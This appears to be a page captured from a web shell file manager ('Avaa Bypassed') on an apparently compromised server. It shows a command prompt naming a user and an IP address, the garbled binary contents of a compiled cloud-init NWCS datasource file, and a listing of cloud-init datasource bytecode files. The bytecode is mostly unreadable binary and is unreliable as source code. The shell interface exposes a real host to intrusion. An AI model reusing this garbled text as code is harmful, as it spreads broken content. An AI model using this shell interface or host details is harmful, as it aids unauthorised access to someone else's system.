404

[ Avaa Bypassed ]




Upload:

Command:

elspacio@3.16.203.9: ~ $
3

\�me��@s�ddlZddlmZddlmZmZmZmZmZm	Z	ddl
mZddlm
Z
eje�ZdZdediZd	Zd
Zd
ZGdd�dej�Zd
d�Zdd�Zddd�ZeejffgZdS)�N)�
exceptions)�dmi�net�sources�subp�
url_helper�util)�NoDHCPLeaseError)�EphemeralDHCPv4zhttp://169.254.169.254/api/v1�metadata_urlz	/metadata��c@s@eZdZdZdd�Zdd�Zdd�Zedd	��Ze	d
d��Z
dS)
�DataSourceNWCS�NWCScCs�tjj||||�||_t�|_tjtj|ddgi�t	g�|_
|j
d|_|j
jdt
�|_|j
jdt�|_|j
jdt�|_tj|_tj|_dS)NZ
datasourcerr�retries�timeout�
wait_retry)r�
DataSource�__init__�distro�dict�metadatarZ
mergemanydictZget_cfg_by_path�BUILTIN_DS_CONFIGZds_cfg�metadata_address�get�
MD_RETRIESr�
MD_TIMEOUTr�
MD_WAIT_RETRYr�UNSET�_network_configZDSMODE_NETWORKZdsmode)�selfZsys_cfgr�paths�r"�$/usr/lib/python3.6/DataSourceNWCS.pyrs
zDataSourceNWCS.__init__cCsv|j�}|dkrtd��||_|d|jd<|d|jd<|d|jd<|d|jd<|jdd�|_|jdd�|_d	S)
Nzfailed to get metadatazinstance-idzpublic-keys�networkZhostnamezlocal-hostnameZuserdataZ
vendordataT)�get_metadata�RuntimeErrorZ
metadata_fullrrZuserdata_rawZvendordata_raw)r Zmdr"r"r#�	_get_data/szDataSourceNWCS._get_datacCs�yJtjd�t|jtj�dtdid��t|j|j	|j
|jd�SQRXWn<tt
jttjfk
r�}ztjd|��WYdd}~XnXdS)Nz#Attempting to get metadata via DHCP�urlz/metadata/instance-id)ZifaceZconnectivity_url_data)r�sec_betweenrzDHCP failure: %s)�LOG�infor
rrZfind_fallback_nic�BASE_URL_V1�
read_metadatarrrrr	rZProcessExecutionErrorr&rZRequestException�error)r �er"r"r#r%Bs$
zDataSourceNWCS.get_metadatacCs�tjd�|jdkr*tjdtj�tj|_|jtjkr<|jS|jddsRtd��x@|jddD].}t|d�}|rbtj	d|d|�||d<qbW|jd|_|jS)	Nz Attempting network configurationz5Found None as cached _network_config, resetting to %sr$�configz"Unable to get metadata from serverZmac_addresszOverriding %s with %s�name)
r*�debugrZwarningrrrr&�get_interface_namer+)r �iZ
iface_namer"r"r#�network_config]s"

zDataSourceNWCS.network_configcCsdtjd�kS)Nrzsystem-manufacturer)rZ
read_dmi_datar"r"r"r#�	ds_detectzszDataSourceNWCS.ds_detectN)�__name__�
__module__�__qualname__Zdsnamerr'r%�propertyr5�staticmethodr6r"r"r"r#rsrcCstj�}||krdS|j|�S)N)rZget_interfaces_by_macr)ZmacZmacs_to_nicr"r"r#r3sr3cCstj|t�S)N)rZlist_from_depends�datasources)Zdependsr"r"r#�get_datasource_list�sr=�cCs6tj||||d�}|j�s&td|��tj|jj��S)N)rr)rzunable to read metadata at %s)rZreadurl�okr&rZ	load_json�contents�decode)r(rr)rZresponser"r"r#r-�s
r-)r>r>r)ZloggingZrequestsrZ	cloudinitrrrrrrZcloudinit.net.dhcpr	Zcloudinit.net.ephemeralr
Z	getLoggerr7r*r,rrrrrrr3r=r-ZDEP_FILESYSTEMr<r"r"r"r#�<module>s 
e



Filemanager

Name Type Size Permission Actions
DataSourceAkamai.cpython-36.opt-1.pyc File 8.18 KB 0644
DataSourceAkamai.cpython-36.pyc File 8.18 KB 0644
DataSourceAliYun.cpython-36.opt-1.pyc File 3.22 KB 0644
DataSourceAliYun.cpython-36.pyc File 3.22 KB 0644
DataSourceAltCloud.cpython-36.opt-1.pyc File 6.74 KB 0644
DataSourceAltCloud.cpython-36.pyc File 6.74 KB 0644
DataSourceAzure.cpython-36.opt-1.pyc File 47.95 KB 0644
DataSourceAzure.cpython-36.pyc File 47.95 KB 0644
DataSourceBigstep.cpython-36.opt-1.pyc File 1.84 KB 0644
DataSourceBigstep.cpython-36.pyc File 1.84 KB 0644
DataSourceCloudSigma.cpython-36.opt-1.pyc File 3.62 KB 0644
DataSourceCloudSigma.cpython-36.pyc File 3.62 KB 0644
DataSourceCloudStack.cpython-36.opt-1.pyc File 5.97 KB 0644
DataSourceCloudStack.cpython-36.pyc File 5.97 KB 0644
DataSourceConfigDrive.cpython-36.opt-1.pyc File 8.18 KB 0644
DataSourceConfigDrive.cpython-36.pyc File 8.18 KB 0644
DataSourceDigitalOcean.cpython-36.opt-1.pyc File 3.65 KB 0644
DataSourceDigitalOcean.cpython-36.pyc File 3.65 KB 0644
DataSourceEc2.cpython-36.opt-1.pyc File 23.49 KB 0644
DataSourceEc2.cpython-36.pyc File 23.49 KB 0644
DataSourceExoscale.cpython-36.opt-1.pyc File 5.92 KB 0644
DataSourceExoscale.cpython-36.pyc File 5.92 KB 0644
DataSourceGCE.cpython-36.opt-1.pyc File 9.83 KB 0644
DataSourceGCE.cpython-36.pyc File 9.93 KB 0644
DataSourceHetzner.cpython-36.opt-1.pyc File 3.78 KB 0644
DataSourceHetzner.cpython-36.pyc File 3.78 KB 0644
DataSourceIBMCloud.cpython-36.opt-1.pyc File 12.44 KB 0644
DataSourceIBMCloud.cpython-36.pyc File 12.44 KB 0644
DataSourceLXD.cpython-36.opt-1.pyc File 13.31 KB 0644
DataSourceLXD.cpython-36.pyc File 13.31 KB 0644
DataSourceMAAS.cpython-36.opt-1.pyc File 11.86 KB 0644
DataSourceMAAS.cpython-36.pyc File 11.86 KB 0644
DataSourceNWCS.cpython-36.opt-1.pyc File 3.77 KB 0644
DataSourceNWCS.cpython-36.pyc File 3.77 KB 0644
DataSourceNoCloud.cpython-36.opt-1.pyc File 7.97 KB 0644
DataSourceNoCloud.cpython-36.pyc File 7.97 KB 0644
DataSourceNone.cpython-36.opt-1.pyc File 1.47 KB 0644
DataSourceNone.cpython-36.pyc File 1.47 KB 0644
DataSourceOVF.cpython-36.opt-1.pyc File 9.15 KB 0644
DataSourceOVF.cpython-36.pyc File 9.15 KB 0644
DataSourceOpenNebula.cpython-36.opt-1.pyc File 11.75 KB 0644
DataSourceOpenNebula.cpython-36.pyc File 11.75 KB 0644
DataSourceOpenStack.cpython-36.opt-1.pyc File 7.91 KB 0644
DataSourceOpenStack.cpython-36.pyc File 7.91 KB 0644
DataSourceOracle.cpython-36.opt-1.pyc File 10.99 KB 0644
DataSourceOracle.cpython-36.pyc File 10.99 KB 0644
DataSourceRbxCloud.cpython-36.opt-1.pyc File 7.19 KB 0644
DataSourceRbxCloud.cpython-36.pyc File 7.19 KB 0644
DataSourceScaleway.cpython-36.opt-1.pyc File 10.84 KB 0644
DataSourceScaleway.cpython-36.pyc File 10.84 KB 0644
DataSourceSmartOS.cpython-36.opt-1.pyc File 24.51 KB 0644
DataSourceSmartOS.cpython-36.pyc File 24.51 KB 0644
DataSourceUpCloud.cpython-36.opt-1.pyc File 4.36 KB 0644
DataSourceUpCloud.cpython-36.pyc File 4.36 KB 0644
DataSourceVMware.cpython-36.opt-1.pyc File 23.66 KB 0644
DataSourceVMware.cpython-36.pyc File 23.66 KB 0644
DataSourceVultr.cpython-36.opt-1.pyc File 3.44 KB 0644
DataSourceVultr.cpython-36.pyc File 3.44 KB 0644
__init__.cpython-36.opt-1.pyc File 30.52 KB 0644
__init__.cpython-36.pyc File 30.52 KB 0644